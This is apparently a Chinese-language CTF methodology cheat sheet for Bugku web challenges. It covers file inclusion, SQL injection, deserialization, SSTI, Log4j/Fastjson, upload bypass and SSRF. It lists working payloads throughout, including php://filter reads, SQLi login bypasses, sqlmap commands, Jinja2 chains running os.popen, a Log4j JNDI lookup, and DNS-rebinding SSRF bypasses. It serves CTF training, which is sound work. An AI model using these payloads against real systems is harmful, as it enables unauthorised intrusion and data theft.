平台:ctf.bugku.com|范围:WEB 方向批量实战的技术归纳 阅读方式:先看 §0 的攻防分类表定位题型,再看对应章节的「可复用手法 + 踩坑」,最后用 §9 检查表自查。
0. WEB 攻防分类表(按「攻击发生在哪一层」分)
| 层 | 题型 | 典型入口 | 一句话判断依据 |
|---|---|---|---|
| 代码层 | 文件包含 | ?file= / ?page= / include() |
参数值像路径,报错里出现文件名 |
| 代码层 | 反序列化 | cookie/session/参数里的序列化串 | 有 O:/a:/base64 且长度对得上 |
| 数据层 | SQLi | 登录、查询、排序、搜索 | 单引号/布尔/时间差异 |
| 模板层 | SSTI | 模板渲染、自定义报告 | {``{7*7}} 类探测有回显 |
| 组件层 | Fastjson/Log4j2/MVEL | JSON 解析、日志打印、表达式 | 版本指纹 + 依赖链 |
| 文件层 | 上传/解析绕过 | 上传接口、编辑器 | 扩展名/MIME/内容检测 |
| 流量层 | SSRF | URL 抓取、预览、探活 | 能指定地址且服务端代发请求 |

图 1:WEB 六大类攻击面的入口与产出(Archify architecture)
1. 文件包含:伪协议是主线,别只试 ../../
1.1 通用打法
-
先确认包含点 :
include/require/file_get_contents都会回显或报错;参数名常见file/page/path/template/url。 -
伪协议组合(本地文件优先,不必先拿 shell):
php://filter/convert.base64-encode/resource=index.php # 读源码(最常用)
php://filter/read=string.toupper/resource=flag.php # 大小写变形绕过
php://filter/convert.iconv.utf-8.utf-16/resource=flag.php # 编码绕过
data://text/plain;base64,PD9waHAg... # allow_url_include=On 时直接执行
php://input (POST 体) # 同上 -
源码到手后再决定是读 flag、找过滤绕过,还是拼 RCE。
1.2 常见坑
| 坑 | 现象 | 处理 |
|---|---|---|
| 有后缀拼接 | ?file=flag 被拼成 flag.php |
用 php://filter 不带后缀,或 %00(旧 PHP) |
过滤 ../ |
直接拒绝 | 双写 ....//、URL 编码、php://filter 同样可绕 |
allow_url_include=Off |
data:// 不执行 |
改读源码路线,别死磕 |
| 日志包含 | 伪协议全被禁 | UA/Referer 写 PHP 代码 → 包含 access.log |
代表题:3001 简单的 Include ------ 入口极简,核心就是「参数直接进 include」,php://filter 读源码拿到下一步线索;这类题的关键不是 payload 花样,而是先把源码读出来。
2. SQLi:先分「回显型 / 布尔型 / 时间型」
2.1 判型三问
- 有回显(报错/字段)→ 联合查询或报错注入;
- 无回显但有真假差异 → 布尔盲注;
- 连真假都看不出 → 时间盲注(看响应耗时,不看内容)。
2.2 时间盲注的正确判据
SQLite 场景常见「重查询代替 sleep」:
sql
AND (SELECT COUNT(*) FROM sqlite_master WHERE
tbl_name LIKE 'ABCDEFG' OR UPPER(HEX(RANDOMBLOB(100000000/2))) LIKE 'ABCDEFG')
真假分支耗时差 0.5s vs 0.08s (实测 0.56--0.59s / 0.07--0.12s)→ 只要看到这个量级的稳定差异,就该判定为时间盲注,而不是布尔盲注。
2.3 万能密码与逻辑绕过
admin' or '1'='1、admin'-- -、admin'#、' or 1=1 limit 1-- - 是入门必测;但更常见的是弱类型/逻辑绕过:
- 用户名
admin(尾随空格)/Admin(大小写)被数据库规范化; - 密码字段做
md5()比较时传数组password[]=x; - 登录后看
Set-Cookie里是否有可预测的role。
代表题:3044 万能密码 ------ 目标就是最基础的 or 1=1 逻辑;此类题 30 秒内解决,别过度构造。
2.4 sqlmap 使用要点
bash
sqlmap -u "http://target/?id=1" --batch --dbs # 先跑通
sqlmap -u ... --technique=T --time-sec=5 --threads=4 # 时间盲注必须放慢+多线程
sqlmap -u ... --tamper=space2comment --dbms=mysql # 过滤场景
⚠️ 时间盲注不要 用高并发(会互相污染耗时);--technique=T 明确指定,避免 sqlmap 误判成布尔。
3. 反序列化:先判语言,再找链
| 语言 | 特征 | 常用链 |
|---|---|---|
| PHP | O:8:"stdClass" / base64 后像序列化 |
__destruct/__wakeup 魔术方法 → 文件操作/RCE |
| Java | rO0AB(base64)/ AC ED(hex) |
CommonsCollections / 二次反序列化 / TemplatesImpl |
| .NET | AAEAAAD///// |
ViewState / BinaryFormatter / TypeConfuseDelegate |
3.1 PHP POP 链通用结构
php
O:4:"Test":2:{s:1:"a";s:5:"hello";s:1:"b";O:...}
- 找
__destruct()里调用的危险函数(system/eval/file_put_contents); - 逐层构造属性让「可控参数」流到危险函数;
- 若目标做了
__wakeup校验,用属性个数不匹配(__wakeup跳过)或C:/Serializable绕。
3.2 Java 链判断
- 看到
rO0AB→ 先 base64 解码确认AC ED 00 05; - 缺依赖时优先试 CommonsCollections 3.1 (
InvokerTransformer),被黑名单就用TemplatesImpl+defineClass; - 目标为 Tomcat 且可写 session 时,注意 partial PUT 写 session → JSESSIONID 触发反序列化 的组合链。
4. SSTI:探测 → 定引擎 → 找可利用对象
4.1 探测阶梯
{{7*7}} → 49 : Jinja2/Twig 类
${7*7} → 49 : FreeMarker/Thymeleaf(部分)
#{7*7} → Java EL
<%= 7*7 %> → ERB
4.2 Jinja2 常用链
python
{{''.__class__.__mro__[1].__subclasses__()}}
{{cycler.__init__.__globals__.os.popen('id').read()}} # 有 cycler 时最省事
{{lipsum.__globals__["os"].popen("cat /flag").read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
坑 :WAF 过滤 {``{ }} 时用 {% if %}/{% set %} 拼接;过滤 . 时用 |attr('__class__')。
5. 组件漏洞:版本是第一信息
| 组件 | 指纹 | 利用要点 |
|---|---|---|
| Fastjson | JSON 回显、@type 报错 |
{"@type":"java.net.Inet4Address"...} 探测;JNDI 需出网 |
| Log4j2 | 日志会打印 UA/参数 | ${jndi:ldap://...},本地起 LDAP/RMI 服务 |
| MVEL | 表达式执行 | 直接 Runtime.getRuntime().exec() |
| Shiro | rememberMe= cookie |
默认 key + gadget,AES-CBC 需正确 padding |
方法论 :组件漏洞题先确认版本(响应头、报错、静态资源 hash),再看该版本是否有公开链;版本不对时换思路,别硬打。
6. 上传与解析绕过
- 先试正常扩展名 (
.php)→ 被拦则试.phtml/.php5/.pht; - MIME 检查 → 改
Content-Type; - 内容检查(
<?php)→ 短标签/大小写/<script language=php>; - 二次渲染(图片马)→ 用 GD 无法破坏的段(EXIF/尾部)写码;
- 名字过滤(
upload.php被过滤)→ 双写upload.pphphp、%00、Windows 尾点/空格。
3101(WordPress 应急)就是典型:主题
io_img_upload声明了扩展名白名单却从未使用 ,直接rename()落盘,.php落地即 RCE。
7. 反爬与逻辑绕过
| 类型 | 观察点 | 绕过 |
|---|---|---|
| UA/Referer | 被拒时返回统一页 | 换 UA、带 Referer、cookie 上下文 |
| 频率限制 | 429/验证码 | 放慢、换 session、并发控制 |
| 签名参数 | sign/timestamp |
读 JS 找算法(md5/sha1(参数+盐)) |
| 逻辑绕过 | 只在前端校验 | 直接构造后端请求 |
| 条件竞争 | 限一次/限金额 | 并发打时间窗(多线程 + 短重试) |
8. SSRF:黑名单不等于安全
- 先定回显类型:能读正文 / 只能读状态码 / 只能看耗时;
- 绕过黑名单 :十进制 IP、八进制、
[::ffff:127.0.0.1]、DNS rebinding(make-<pub>-rebind-127.0.0.1-rr.1u.ms)、302 跳转; - 打内网 :端口探测 → 服务识别 → 读
/flag、/actuator/env、/metrics。
3048 网页预览ing :黑名单拦 127.0.0.1,但用 1u.ms rebinding 域名可绕过;注意 每个请求都要重新赢一次竞态(首次解析给公网、二次给 127.0.0.1),所以必须循环重试,而不是指望一次命中。
9. 一页检查表
[ ] 有参数像路径?→ php://filter 先读源码
[ ] 单引号有反应?→ 判回显/布尔/时间三种
[ ] 看到 O:/rO0AB/AAEAAAD?→ 反序列化,先判语言
[ ] 有渲染点?→ {{7*7}} 三连探测
[ ] 有版本头?→ 查组件链
[ ] 有上传?→ 扩展名→MIME→内容→名字 四层绕过
[ ] 有 URL 抓取?→ SSRF(内网/协议/重定向/rebinding)
[ ] 卡住?→ 读源码/读备份/看报错,别盲猜 payload
10. 图形附件(Archify)
| 图 | 文件 | 说明 |
|---|---|---|
| WEB 题型分类与攻击链 | web-arch.html(交互图,本地交付包) |
六类攻击面入口与产出 |
| WEB 作战流程 | web-timeline.html(交互图,本地交付包) |
侦察→注入→利用→绕过→归档 |
流程视图

从判型到归档的主线流程:每步都要求留下原始输出,结论必须能被独立脚本重跑。
两图 archify check 均 issues: [];archify finalize --quality showcase 均 ok:true + browser-check:pass;正文内嵌同源 PNG 截图。